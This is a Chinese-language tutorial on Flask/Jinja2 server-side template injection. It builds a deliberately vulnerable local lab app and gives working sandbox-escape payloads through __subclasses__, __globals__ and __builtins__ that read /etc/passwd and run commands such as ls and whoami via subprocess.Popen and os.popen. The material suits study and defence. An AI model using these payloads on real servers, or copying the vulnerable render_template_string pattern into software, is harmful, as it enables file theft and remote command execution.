从模板开始介绍:
Flask中有许多不同功能的模板,他们之间是相互隔离的地带,可供引入和使用。
Flask中的模块:
flask
主模块:包含框架的核心类和函数,如Flask
(应用实例)、request
(请求对象)、response
(响应对象)、render_template
(模板渲染)等。(很多函数其实属于下面各自的模块,但是会被 “导入” 到 Flask 主模块(flask
)中,方便开发者直接从flask
导入使用。)flask.config
:处理应用配置(如密钥、数据库连接信息等)。flask.context
:管理请求上下文(request
、g
)和应用上下文(current_app
、config
)。flask.helpers
:提供辅助函数,如url_for
(生成 URL)、flash
(消息闪现)等。flask.blueprints
:支持蓝图(Blueprint),用于拆分大型应用为模块化组件。flask.templating
:模板渲染相关功能,依赖 Jinja2 模板引擎。flask.wrappers
:定义请求(Request
)和响应(Response
)的封装类。
比如说我本地搭建的一个简单靶场:
from flask import Flask
from flask import request
from flask import render_template_stringapp = Flask(__name__)@app.route('/test', methods=['GET', 'POST'])
def test():template = '''<div class="center-content error"><h1>Oops! That page doesn't exist.</h1><h3>%s</h3></div> ''' % (request.url)return render_template_string(template)if __name__ == '__main__':app.debug = Trueapp.run()
就从flask中引入request、render_template_string函数。他们分别定义在什么模块以及有什么作用可以自行分析一下。
该靶场的漏洞在于render_template_string,将一个用户可控字符串当作模板内容渲染,就像是往eval()函数中放入用户可控参数一样。
但是要想利用这个漏洞,没有命令注入那么方便,因为Jinja2 模板引擎的安全隔离机制让我们无法直接引用python内置函数和其他模块中定义的函数。
在 Flask 中,Jinja2 模板默认可以访问一些框架预定义的全局变量,例如:
{{ config }}
:Flask 应用的配置信息(如密钥、端口等)。{{ request }}
:当前请求对象(包含 URL、参数、请求方法等)。{{ g }}
:Flask 的全局临时变量(用于请求生命周期内共享数据)。{{ session }}
:当前会话对象(存储用户会话数据)。其实在Jinja2模板中还应该有一些默认导入的python内置函数例如globals()、locals()、vars()等等但是为了安全性不暴露。
所以,我们需要讲到沙箱逃逸。
通俗来说就是我们现在需要在jinja2模板引擎的安全隔离机制下调用其他模块的方法甚至是Python内置函数,以此达到各种渗透目的。
先说说怎么调用其他模块的方法吧。
{{''.__class__.__mro__[1].__subclasses__()}}
''
空字符串,是 Python 中str
(字符串)类型的一个实例。
.__class__
Python 中所有对象都有__class__
属性,用于获取该对象所属的类。
这里''.__class__
会返回字符串的类str
(即<class 'str'>
)。
.__mro__[1]
__mro__
是类的属性,全称 “Method Resolution Order”(方法解析顺序),返回一个元组,包含类的继承链(从当前类到最顶层父类)。- 对于
str
类,其继承链是(str, object)
(str
继承自object
,object
是 Python 中所有类的基类)。__mro__[1]
取元组的第二个元素(索引从 0 开始),即object
类。
.__subclasses__()
object
类的__subclasses__()
方法会返回所有直接或间接继承自object
的子类列表(几乎包含 Python 中所有的类,因为所有类最终都继承自object
)。也可以用{{''.__class__.__bases__[0].__subclasses__()}}代替,base仅返回上一级父类。
通过
object.__subclasses__()
获取的子类列表是全局的,涵盖 Python 内置类、已导入的第三方库类、当前项目中定义的类等所有已加载的object
子类
这个估计几乎每个讲沙箱逃逸都会讲一遍原理,所以不过多赘述。通过这个方法呢,我们就可以调用全局的已有类中的方法。举几个例子:
1. 文件读写类:
file
或io.FileIO
- 作用:读取 / 写入服务器文件(如敏感配置文件、密码文件等)。
- 示例:
假设
file
类在子类列表中的索引为40
(不同环境索引可能不同):# 读取 /etc/passwd 文件
{{''.__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
若目标是 Windows 服务器,可读取
C:\Windows\system32\drivers\etc\hosts
等2. 命令执行类:
subprocess.Popen
- 作用:执行系统命令(如
ls
、whoami
、ipconfig
等)。- 示例:
假设
subprocess.Popen
在子类列表中的索引为258
:# 执行 ls 命令(Linux)并返回结果
{{''.__class__.__bases__[0].__subclasses__()[258]('ls', shell=True, stdout=-1).communicate()[0].decode()}}# 执行 whoami 命令(查看当前用户权限)
{{''.__class__.__bases__[0].__subclasses__()[258]('whoami', shell=True, stdout=-1).communicate()[0].decode()}}Windows 系统可替换为
dir
、ipconfig
等命令。
但是很多时候没有可利用的类,就需要进一步逃逸调用python内置函数。
就需要用到globals:
__globals__
是 Python 函数的内置属性
在 Python 中,每个函数对象都有__globals__
属性,它返回该函数定义所在模块的全局变量字典。这个字典包含了模块中定义的所有变量、函数、类、导入的模块等。
这样的话我们就能利用某些jinja2模板中可以调用的”安全函数“,得到全局变量字典。可是得到全局变量字典,也只是得到本身模块中的东西呀,如果还是无法利用呢,怎么得到python内置函数呢?
这就需要用到builtins:
builtins
模块:
这是 Python 解释器内置的核心模块,包含了所有 Python 内置函数(如len
、eval
)、内置类型(如int
、str
、list
)和异常类(如Exception
、TypeError
)。我们在 Python 中直接使用的print()
、str()
等,本质上都是builtins
模块中的成员
那得到这个模块我们就能得到内置函数啦。怎么得到呢?
__globals__
得到的字典中有一个关键的东西——导入的模块,我们知道不管是哪个模块,那都属于是python,所以python内置函数就像是基础设施,几乎不管哪个模块,都得利用内置函数实现其功能。因此几乎所有模块__globals__属性返回的字典中都有builtins模块。
那就出现了类似
url_for.__globals__
['__builtins__']['eval']("__import__('os').popen('ls').read()")
这样的答案。
这里的url_for就是上面说到的可利用的”安全函数“,那万一没有呢?
我们就需要结合 ''.__class__.__mro__[1].__subclasses__() 方法啦:
有些类例如warnings.catch_warnings中一定有一个方法,那就是__init__,用来初始化对象。
而__init__也算是函数对象,那不就有__global__属性了!
因此,就出现了类似
''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__
['__builtins__']['eval']("__import__('os').popen('ls').read()")
这样的答案。
写这篇文章主要为了梳理一遍Flask模板注入的原理,一定有一些理解错误或者不充分的地方。